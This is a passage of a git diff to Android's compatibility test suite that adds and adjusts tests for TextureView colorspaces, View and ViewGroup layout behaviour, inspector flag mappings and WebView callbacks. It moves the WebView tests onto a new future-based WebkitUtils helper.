@@ -355,6 +355,9 @@
case TextureViewTest.EGL_GL_COLORSPACE_DISPLAY_P3_EXT:
eglColorSpaceString = "EGL_EXT_gl_colorspace_display_p3";
break;
+ case TextureViewTest.EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT:
+ eglColorSpaceString = "EGL_EXT_gl_colorspace_display_p3_linear";
+ break;
case TextureViewTest.EGL_GL_COLORSPACE_SRGB_KHR:
eglColorSpaceString = "EGL_KHR_gl_colorspace";
break;
diff --git a/tests/tests/view/src/android/view/cts/TextureViewTest.java b/tests/tests/view/src/android/view/cts/TextureViewTest.java
index c86cb87..c26782c 100644
--- a/tests/tests/view/src/android/view/cts/TextureViewTest.java
+++ b/tests/tests/view/src/android/view/cts/TextureViewTest.java
@@ -61,6 +61,7 @@
static final int EGL_GL_COLORSPACE_SRGB_KHR = 0x3089;
static final int EGL_GL_COLORSPACE_DISPLAY_P3_EXT = 0x3363;
+ static final int EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT = 0x3362;
static final int EGL_GL_COLORSPACE_SCRGB_LINEAR_EXT = 0x3350;
@Rule
@@ -219,15 +220,17 @@
screenshot.getPixel(texturePos.right - 10, texturePos.bottom - 10));
}
+ @Ignore // Disabled temporarily, b/119504473
@Test
public void testGetBitmap_8888_P3() throws Throwable {
testGetBitmap(EGL_GL_COLORSPACE_DISPLAY_P3_EXT, ColorSpace.Named.DISPLAY_P3, false,
new FP16Compare(ColorSpace.Named.EXTENDED_SRGB));
}
+ @Ignore // Disabled temporarily, b/119504473
@Test
public void testGetBitmap_FP16_P3() throws Throwable {
- testGetBitmap(EGL_GL_COLORSPACE_DISPLAY_P3_EXT, ColorSpace.Named.DISPLAY_P3, true,
+ testGetBitmap(EGL_GL_COLORSPACE_DISPLAY_P3_LINEAR_EXT, ColorSpace.Named.DISPLAY_P3, true,
new FP16Compare(ColorSpace.Named.EXTENDED_SRGB));
}
@@ -237,15 +240,17 @@
true, new FP16Compare(ColorSpace.Named.EXTENDED_SRGB));
}
+ @Ignore // Disabled temporarily, b/119504473
@Test
public void testGet565Bitmap_SRGB() throws Throwable {
- testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, true,
+ testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, false,
new SRGBCompare(Bitmap.Config.RGB_565));
}
+ @Ignore // Disabled temporarily, b/119504473
@Test
public void testGetBitmap_SRGB() throws Throwable {
- testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, true,
+ testGetBitmap(EGL_GL_COLORSPACE_SRGB_KHR, ColorSpace.Named.SRGB, false,
new SRGBCompare(Bitmap.Config.ARGB_8888));
}
diff --git a/tests/tests/view/src/android/view/cts/ViewGroupTest.java b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
index 61147bf3..5389608 100644
--- a/tests/tests/view/src/android/view/cts/ViewGroupTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewGroupTest.java
@@ -2777,6 +2777,40 @@
assertEquals(5, resetResolvedDrawablesCount);
}
+ @UiThreadTest
+ @Test
+ public void testLayoutNotCalledWithSuppressLayoutTrue() {
+ mMockViewGroup.suppressLayout(true);
+ mMockViewGroup.layout(0, 0, 100, 100);
+
+ assertTrue(mMockViewGroup.isLayoutSuppressed());
+ assertFalse(mMockViewGroup.isOnLayoutCalled);
+ assertFalse(mMockViewGroup.isRequestLayoutCalled);
+ }
+
+ @UiThreadTest
+ @Test
+ public void testLayoutCalledAfterSettingBackSuppressLayoutToFalseTrue() {
+ mMockViewGroup.suppressLayout(true);
+ mMockViewGroup.suppressLayout(false);
+ mMockViewGroup.layout(0, 0, 100, 100);
+
+ assertFalse(mMockViewGroup.isLayoutSuppressed());
+ assertTrue(mMockViewGroup.isOnLayoutCalled);
+ }
+
+ @UiThreadTest
+ @Test
+ public void testRequestLayoutCalledAfterSettingSuppressToFalseWhenItWasCalledWithTrue() {
+ mMockViewGroup.suppressLayout(true);
+ // now we call layout while in suppressed state
+ mMockViewGroup.layout(0, 0, 100, 100);
+ // then we undo suppressing. it should call requestLayout as we swallowed one layout call
+ mMockViewGroup.suppressLayout(false);
+
+ assertTrue(mMockViewGroup.isRequestLayoutCalled);
+ }
+
static class MockTextView extends TextView {
public boolean isClearFocusCalled;
diff --git a/tests/tests/view/src/android/view/cts/ViewTest.java b/tests/tests/view/src/android/view/cts/ViewTest.java
index a3b82fe..3168c60 100644
--- a/tests/tests/view/src/android/view/cts/ViewTest.java
+++ b/tests/tests/view/src/android/view/cts/ViewTest.java
@@ -18,6 +18,7 @@
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertNotSame;
import static org.junit.Assert.assertNull;
@@ -121,6 +122,8 @@
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collections;
+import java.util.HashSet;
+import java.util.Set;
import java.util.concurrent.CountDownLatch;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicBoolean;
@@ -4707,6 +4710,16 @@
}
@Test
+ public void testTransitionAlpha() {
+ View view = new View(mContext);
+ view.setAlpha(1f);
+ view.setTransitionAlpha(0.5f);
+
+ assertEquals(1f, view.getAlpha(), 0.0001f);
+ assertEquals(0.5f, view.getTransitionAlpha(), 0.0001f);
+ }
+
+ @Test
public void testSetGetOutlineShadowColor() {
ViewGroup group = (ViewGroup) LayoutInflater.from(mContext).inflate(
R.layout.view_outlineshadowcolor, null);
@@ -4818,6 +4831,30 @@
assertFalse(view.isPivotSet());
}
+ @Test
+ public void testSetLeftTopRightBottom() {
+ View view = new View(mContext);
+ view.setLeftTopRightBottom(1, 2, 3, 4);
+
+ assertEquals(1, view.getLeft());
+ assertEquals(2, view.getTop());
+ assertEquals(3, view.getRight());
+ assertEquals(4, view.getBottom());
+ }
+
+ @Test
+ public void testGetUniqueDrawingId() {
+ View view1 = new View(mContext);
+ View view2 = new View(mContext);
+ Set<Long> idSet = new HashSet<>(50);
+
+ assertNotEquals(view1.getUniqueDrawingId(), view2.getUniqueDrawingId());
+
+ for (int i = 0; i < 50; i++) {
+ assertTrue(idSet.add(new View(mContext).getUniqueDrawingId()));
+ }
+ }
+
private static class MockDrawable extends Drawable {
private boolean mCalledSetTint = false;
diff --git a/tests/tests/view/src/android/view/inspector/cts/IntEnumMappingTest.java b/tests/tests/view/src/android/view/inspector/cts/IntEnumMappingTest.java
new file mode 100644
index 0000000..6729491
--- /dev/null
+++ b/tests/tests/view/src/android/view/inspector/cts/IntEnumMappingTest.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inspector.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inspector.IntEnumMapping;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link IntEnumMapping}
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class IntEnumMappingTest {
+ @Test
+ public void testMapping() {
+ IntEnumMapping mapping = new IntEnumMapping.Builder()
+ .addValue("ONE", 1)
+ .addValue("TWO", 2)
+ .build();
+ assertNull(mapping.nameOf(0));
+ assertEquals("ONE", mapping.nameOf(1));
+ assertEquals("TWO", mapping.nameOf(2));
+ }
+}
diff --git a/tests/tests/view/src/android/view/inspector/cts/IntFlagMappingTest.java b/tests/tests/view/src/android/view/inspector/cts/IntFlagMappingTest.java
new file mode 100644
index 0000000..ba3a3af
--- /dev/null
+++ b/tests/tests/view/src/android/view/inspector/cts/IntFlagMappingTest.java
@@ -0,0 +1,81 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inspector.cts;
+
+import static org.junit.Assert.assertArrayEquals;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.inspector.IntFlagMapping;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests for {@link IntFlagMapping}
+ */
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public final class IntFlagMappingTest {
+ @Test
+ public void testNonExclusiveFlags() {
+ IntFlagMapping mapping = new IntFlagMapping.Builder()
+ .addFlag("ONE", 1)
+ .addFlag("TWO", 2)
+ .build();
+
+ assertArrayEquals(new String[0], mapping.namesOf(0));
+ assertArrayEquals(new String[] {"ONE"}, mapping.namesOf(1));
+ assertArrayEquals(new String[] {"TWO"}, mapping.namesOf(2));
+ assertArrayEquals(new String[] {"ONE", "TWO"}, mapping.namesOf(3));
+ assertArrayEquals(new String[0], mapping.namesOf(4));
+ }
+
+ @Test
+ public void testMutuallyExclusiveFlags() {
+ IntFlagMapping mapping = new IntFlagMapping.Builder()
+ .addFlag("ONE", 1, 3)
+ .addFlag("TWO", 2, 3)
+ .build();
+
+
+ assertArrayEquals(new String[0], mapping.namesOf(0));
+ assertArrayEquals(new String[] {"ONE"}, mapping.namesOf(1));
+ assertArrayEquals(new String[] {"TWO"}, mapping.namesOf(2));
+ assertArrayEquals(new String[0], mapping.namesOf(3));
+ assertArrayEquals(new String[0], mapping.namesOf(4));
+ }
+
+ @Test
+ public void testMixedFlags() {
+ IntFlagMapping mapping = new IntFlagMapping.Builder()
+ .addFlag("ONE", 1, 3)
+ .addFlag("TWO", 2, 3)
+ .addFlag("FOUR", 4)
+ .build();
+
+
+ assertArrayEquals(new String[0], mapping.namesOf(0));
+ assertArrayEquals(new String[] {"ONE"}, mapping.namesOf(1));
+ assertArrayEquals(new String[] {"TWO"}, mapping.namesOf(2));
+ assertArrayEquals(new String[0], mapping.namesOf(3));
+ assertArrayEquals(new String[] {"FOUR"}, mapping.namesOf(4));
+ assertArrayEquals(new String[] {"ONE", "FOUR"}, mapping.namesOf(5));
+ assertArrayEquals(new String[] {"TWO", "FOUR"}, mapping.namesOf(6));
+ assertArrayEquals(new String[] {"FOUR"}, mapping.namesOf(7));
+ }
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
index 811c372..3a35959 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
@@ -28,10 +28,13 @@
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
-import java.util.concurrent.CountDownLatch;
import junit.framework.Assert;
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+
public class PostMessageTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
public static final long TIMEOUT = 20000L;
@@ -176,7 +179,7 @@
WebMessage message = new WebMessage(WEBVIEW_MESSAGE, new WebMessagePort[]{channel[1]});
mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
final int messageCount = 3;
- final CountDownLatch latch = new CountDownLatch(messageCount);
+ final BlockingQueue<String> queue = new ArrayBlockingQueue<>(messageCount);
runTestOnUiThread(new Runnable() {
@Override
public void run() {
@@ -186,15 +189,20 @@
channel[0].setWebMessageCallback(new WebMessagePort.WebMessageCallback() {
@Override
public void onMessage(WebMessagePort port, WebMessage message) {
- int i = messageCount - (int)latch.getCount();
- assertEquals(WEBVIEW_MESSAGE + i + i, message.getData());
- latch.countDown();
+ queue.add(message.getData());
}
});
}
});
+
// Wait for all the responses to arrive.
- assertTrue(latch.await(TIMEOUT, java.util.concurrent.TimeUnit.MILLISECONDS));
+ for (int i = 0; i < messageCount; i++) {
+ // The JavaScript code simply appends an integer counter to the end of the message it
+ // receives, which is why we have a second i on the end.
+ String expectedMessageFromJavascript = WEBVIEW_MESSAGE + i + "" + i;
+ assertEquals(expectedMessageFromJavascript,
+ WebkitUtils.waitForNextQueueElement(queue));
+ }
}
/**
@@ -288,7 +296,7 @@
WebMessage message = new WebMessage(WEBVIEW_MESSAGE, new WebMessagePort[]{channel[1]});
mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
final int messageCount = 1;
- final CountDownLatch latch = new CountDownLatch(messageCount);
+ final SettableFuture<Boolean> messageHandlerThreadFuture = SettableFuture.create();
// Create a new thread for the WebMessageCallback.
final HandlerThread messageHandlerThread = new HandlerThread("POST_MESSAGE_THREAD");
@@ -302,14 +310,14 @@
channel[0].setWebMessageCallback(new WebMessagePort.WebMessageCallback() {
@Override
public void onMessage(WebMessagePort port, WebMessage message) {
- assertTrue(messageHandlerThread.getLooper().isCurrentThread());
- latch.countDown();
+ messageHandlerThreadFuture.set(
+ messageHandlerThread.getLooper().isCurrentThread());
}
}, messageHandler);
}
});
- // Wait for all the responses to arrive.
- assertTrue(latch.await(TIMEOUT, java.util.concurrent.TimeUnit.MILLISECONDS));
+ // Wait for all the responses to arrive and assert correct thread.
+ assertTrue(WebkitUtils.waitForFuture(messageHandlerThreadFuture));
}
/**
@@ -327,7 +335,7 @@
WebMessage message = new WebMessage(WEBVIEW_MESSAGE, new WebMessagePort[]{channel[1]});
mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
final int messageCount = 1;
- final CountDownLatch latch = new CountDownLatch(messageCount);
+ final SettableFuture<Boolean> messageMainLooperFuture = SettableFuture.create();
runTestOnUiThread(new Runnable() {
@Override
@@ -336,13 +344,12 @@
channel[0].setWebMessageCallback(new WebMessagePort.WebMessageCallback() {
@Override
public void onMessage(WebMessagePort port, WebMessage message) {
- assertTrue(Looper.getMainLooper().isCurrentThread());
- latch.countDown();
+ messageMainLooperFuture.set(Looper.getMainLooper().isCurrentThread());
}
});
}
});
- // Wait for all the responses to arrive.
- assertTrue(latch.await(TIMEOUT, java.util.concurrent.TimeUnit.MILLISECONDS));
+ // Wait for all the responses to arrive and assert correct thread.
+ assertTrue(WebkitUtils.waitForFuture(messageMainLooperFuture));
}
}
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 4b0c1a4..c204ea6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -39,13 +39,13 @@
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
import java.io.ByteArrayInputStream;
import java.io.FileOutputStream;
import java.nio.charset.StandardCharsets;
import java.util.Locale;
import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
@@ -417,15 +417,15 @@
startWebServer();
final WebView childWebView = mOnUiThread.createWebView();
- final CountDownLatch latch = new CountDownLatch(1);
+ final SettableFuture<Void> createWindowFuture = SettableFuture.create();
mOnUiThread.setWebChromeClient(new WebChromeClient() {
@Override
public boolean onCreateWindow(
- WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
+ WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
transport.setWebView(childWebView);
resultMsg.sendToTarget();
- latch.countDown();
+ createWindowFuture.set(null);
return true;
}
});
@@ -439,12 +439,12 @@
return "Popup blocked".equals(mOnUiThread.getTitle());
}
}.run();
- assertEquals(1, latch.getCount());
+ assertFalse("onCreateWindow should not have been called yet", createWindowFuture.isDone());
mSettings.setJavaScriptCanOpenWindowsAutomatically(true);
assertTrue(mSettings.getJavaScriptCanOpenWindowsAutomatically());
mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
- assertTrue(latch.await(WEBVIEW_TIMEOUT, TimeUnit.MILLISECONDS));
+ WebkitUtils.waitForFuture(createWindowFuture);
}
public void testAccessJavaScriptEnabled() throws Exception {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index edfbd4e..e02f8ac 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -40,11 +40,10 @@
import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
import java.io.ByteArrayInputStream;
import java.nio.charset.StandardCharsets;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
import java.util.HashMap;
import java.util.Map;
import java.util.List;
@@ -729,17 +728,16 @@
return;
}
- final CountDownLatch callbackLatch = new CountDownLatch(1);
-
+ final SettableFuture<String> pageCommitVisibleFuture = SettableFuture.create();
mOnUiThread.setWebViewClient(new WebViewClient() {
- public void onPageCommitVisible(WebView view, String url) {
- assertEquals(url, "about:blank");
- callbackLatch.countDown();
- }
- });
+ public void onPageCommitVisible(WebView view, String url) {
+ pageCommitVisibleFuture.set(url);
+ }
+ });
- mOnUiThread.loadUrl("about:blank");
- assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ final String url = "about:blank";
+ mOnUiThread.loadUrl(url);
+ assertEquals(url, WebkitUtils.waitForFuture(pageCommitVisibleFuture));
}
private class MockWebViewClient extends WaitForLoadedClient {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 590c447..71c5611 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -81,6 +81,7 @@
import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
import com.android.compatibility.common.util.NullWebViewUtils;
import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
import junit.framework.Assert;
@@ -101,7 +102,6 @@
import java.util.concurrent.atomic.AtomicBoolean;
import java.util.concurrent.atomic.AtomicReference;
import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
import java.util.concurrent.FutureTask;
import java.util.concurrent.Semaphore;
import java.util.concurrent.TimeUnit;
@@ -979,18 +979,17 @@
assertFalse(mJsInterfaceWasCalled.get());
- final CountDownLatch resultLatch = new CountDownLatch(1);
+ final SettableFuture<String> javascriptResultFuture = SettableFuture.create();
mOnUiThread.evaluateJavascript(
"try {dummy.call(); 'fail'; } catch (exception) { 'pass'; } ",
new ValueCallback<String>() {
@Override
public void onReceiveValue(String result) {
- assertEquals("\"pass\"", result);
- resultLatch.countDown();
+ javascriptResultFuture.set(result);
}
});
- assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertEquals("\"pass\"", WebkitUtils.waitForFuture(javascriptResultFuture));
assertTrue(mJsInterfaceWasCalled.get());
}
@@ -2290,7 +2289,7 @@
return;
}
- final CountDownLatch resultLatch = new CountDownLatch(1);
+ final SettableFuture<Void> downloadStartFuture = SettableFuture.create();
final class MyDownloadListener implements DownloadListener {
public String url;
public String mimeType;
@@ -2304,7 +2303,7 @@
this.mimeType = mimetype;
this.contentLength = contentLength;
this.contentDisposition = contentDisposition;
- resultLatch.countDown();
+ downloadStartFuture.set(null);
}
}
@@ -2327,7 +2326,7 @@
// Wait for layout to complete before setting focus.
getInstrumentation().waitForIdleSync();
- assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ WebkitUtils.waitForFuture(downloadStartFuture);
assertEquals(url, listener.url);
assertTrue(listener.contentDisposition.contains("test.bin"));
assertEquals(length, listener.contentLength);
@@ -2646,19 +2645,18 @@
return;
}
- final CountDownLatch callbackLatch = new CountDownLatch(1);
final long kRequest = 100;
mOnUiThread.loadUrl("about:blank");
+ final SettableFuture<Long> visualStateFuture = SettableFuture.create();
mOnUiThread.postVisualStateCallback(kRequest, new VisualStateCallback() {
public void onComplete(long requestId) {
- assertEquals(kRequest, requestId);
- callbackLatch.countDown();
+ visualStateFuture.set(requestId);
}
});
- assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertEquals(kRequest, (long) WebkitUtils.waitForFuture(visualStateFuture));
}
/**
@@ -2675,15 +2673,14 @@
List whitelist = new ArrayList<String>();
// Protocols are not supported in the whitelist
whitelist.add("http://google.com");
- final CountDownLatch resultLatch = new CountDownLatch(1);
+ final SettableFuture<Boolean> safeBrowsingWhitelistFuture = SettableFuture.create();
WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
@Override
public void onReceiveValue(Boolean success) {
- assertFalse(success);
- resultLatch.countDown();
+ safeBrowsingWhitelistFuture.set(success);
}
});
- assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertFalse(WebkitUtils.waitForFuture(safeBrowsingWhitelistFuture));
}
/**
@@ -2699,34 +2696,34 @@
List whitelist = new ArrayList<String>();
whitelist.add("safe-browsing");
- final CountDownLatch resultLatch = new CountDownLatch(1);
+ final SettableFuture<Boolean> safeBrowsingWhitelistFuture = SettableFuture.create();
WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
@Override
public void onReceiveValue(Boolean success) {
- assertTrue(success);
- resultLatch.countDown();
+ safeBrowsingWhitelistFuture.set(success);
}
});
- assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertTrue(WebkitUtils.waitForFuture(safeBrowsingWhitelistFuture));
- final CountDownLatch resultLatch2 = new CountDownLatch(1);
+ final SettableFuture<Void> pageFinishedFuture = SettableFuture.create();
mOnUiThread.setWebViewClient(new WebViewClient() {
@Override
public void onPageFinished(WebView view, String url) {
- resultLatch2.countDown();
+ pageFinishedFuture.set(null);
}
@Override
public void onSafeBrowsingHit(WebView view, WebResourceRequest request, int threatType,
SafeBrowsingResponse callback) {
- Assert.fail("Should not invoke onSafeBrowsingHit");
+ pageFinishedFuture.setException(new IllegalStateException(
+ "Should not invoke onSafeBrowsingHit"));
}
});
mOnUiThread.loadUrl("chrome://safe-browsing/match?type=malware");
// Wait until page load has completed
- assertTrue(resultLatch2.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ WebkitUtils.waitForFuture(pageFinishedFuture);
}
/**
@@ -2836,16 +2833,15 @@
}
final MockContext ctx = new MockContext(getActivity());
- final CountDownLatch resultLatch = new CountDownLatch(1);
+ final SettableFuture<Boolean> startSafeBrowsingFuture = SettableFuture.create();
WebView.startSafeBrowsing(ctx, new ValueCallback<Boolean>() {
@Override
public void onReceiveValue(Boolean value) {
- assertTrue(ctx.wasGetApplicationContextCalled());
- resultLatch.countDown();
+ startSafeBrowsingFuture.set(ctx.wasGetApplicationContextCalled());
return;
}
});
- assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertTrue(WebkitUtils.waitForFuture(startSafeBrowsingFuture));
}
/**
@@ -2872,17 +2868,16 @@
return;
}
- final CountDownLatch resultLatch = new CountDownLatch(1);
+ final SettableFuture<Boolean> startSafeBrowsingFuture = SettableFuture.create();
WebView.startSafeBrowsing(getActivity().getApplicationContext(),
new ValueCallback<Boolean>() {
@Override
public void onReceiveValue(Boolean value) {
- assertTrue(Looper.getMainLooper().isCurrentThread());
- resultLatch.countDown();
+ startSafeBrowsingFuture.set(Looper.getMainLooper().isCurrentThread());
return;
}
});
- assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+ assertTrue(WebkitUtils.waitForFuture(startSafeBrowsingFuture));
}
private void savePrintedPage(final PrintDocumentAdapter adapter,
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebkitUtils.java b/tests/tests/webkit/src/android/webkit/cts/WebkitUtils.java
new file mode 100644
index 0000000..449eee7
--- /dev/null
+++ b/tests/tests/webkit/src/android/webkit/cts/WebkitUtils.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+import junit.framework.Assert;
+
+/**
+ * Helper methods for common webkit test tasks.
+ *
+ * <p>
+ * This should remain functionally equivalent to androidx.webkit.WebkitUtils.
+ * Modifications to this class should be reflected in that class as necessary. See
+ * http://go/modifying-webview-cts.
+ */
+public final class WebkitUtils {
+
+ private static final long TEST_TIMEOUT_MS = 20000L; // 20s.
+
+ /**
+ * Waits for {@code future} and returns its value (or times out).
+ */
+ public static <T> T waitForFuture(Future<T> future) throws InterruptedException,
+ ExecutionException,
+ TimeoutException {
+ // TODO(ntfschr): consider catching ExecutionException and throwing e.getCause().
+ return future.get(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ }
+
+ /**
+ * Takes an element out of the {@link BlockingQueue} (or times out).
+ */
+ public static <T> T waitForNextQueueElement(BlockingQueue<T> queue) throws InterruptedException,
+ TimeoutException {
+ T value = queue.poll(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (value == null) {
+ // {@code null} is the special value which means {@link BlockingQueue#poll} has timed
+ // out (also: there's no risk for collision with real values, because BlockingQueue does
+ // not allow null entries). Instead of returning this special value, let's throw a
+ // proper TimeoutException to stay consistent with {@link #waitForFuture}.
+ throw new TimeoutException(
+ "Timeout while trying to take next entry from BlockingQueue");
+ }
+ return value;
+ }
+
+ // Do not instantiate this class.
+ private WebkitUtils() {}
+}
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
index 2e370d8..7c6dfb4 100644
--- a/tests/tests/widget/res/layout/numberpicker_layout.xml
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -27,4 +27,10 @@
android:layout_width="wrap_content"
android:layout_height="wrap_content" />
+ <NumberPicker
+ android:id="@+id/number_picker_divider_height"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:selectionDividerHeight="4px"/>
+
</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/textview_singleline.xml b/tests/tests/widget/res/layout/textview_singleline.xml
new file mode 100644
index 0000000..1b19ad6
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_singleline.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content">
+
+ <!-- test singleline is true -->
+ <TextView
+ android:id="@+id/textview_singleline_true"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:singleLine="true" />
+
+ <!-- test singleline is false -->
+ <TextView
+ android:id="@+id/textview_singleline_false"
+ android:layout_width="match_parent"
+ android:layout_height="wrap_content"
+ android:singleLine="false" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textview_textdirectionheuristic.xml b/tests/tests/widget/res/layout/textview_textdirectionheuristic.xml
new file mode 100644
index 0000000..d5eadbf
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_textdirectionheuristic.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2008 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
